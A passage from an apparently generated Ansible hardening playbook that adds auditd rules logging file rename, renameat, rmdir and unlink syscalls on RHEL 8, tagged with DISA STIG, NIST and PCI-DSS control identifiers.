        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_rename
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit renameat tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_renameat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for renameat for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - renameat
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of renameat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/delete.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/delete.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - renameat
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of renameat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_renameat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for renameat for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - renameat
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of renameat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/delete.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/delete.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - renameat
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of renameat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_renameat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit rmdir tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_rmdir
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for rmdir for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - rmdir
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of rmdir in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/delete.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/delete.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - rmdir
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of rmdir in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_rmdir
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for rmdir for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - rmdir
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of rmdir in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/delete.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/delete.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - rmdir
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of rmdir in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_rmdir
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit unlink tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_unlink
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for unlink for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - unlink
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of unlink in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/delete.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/delete.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - unlink
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of unlink in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
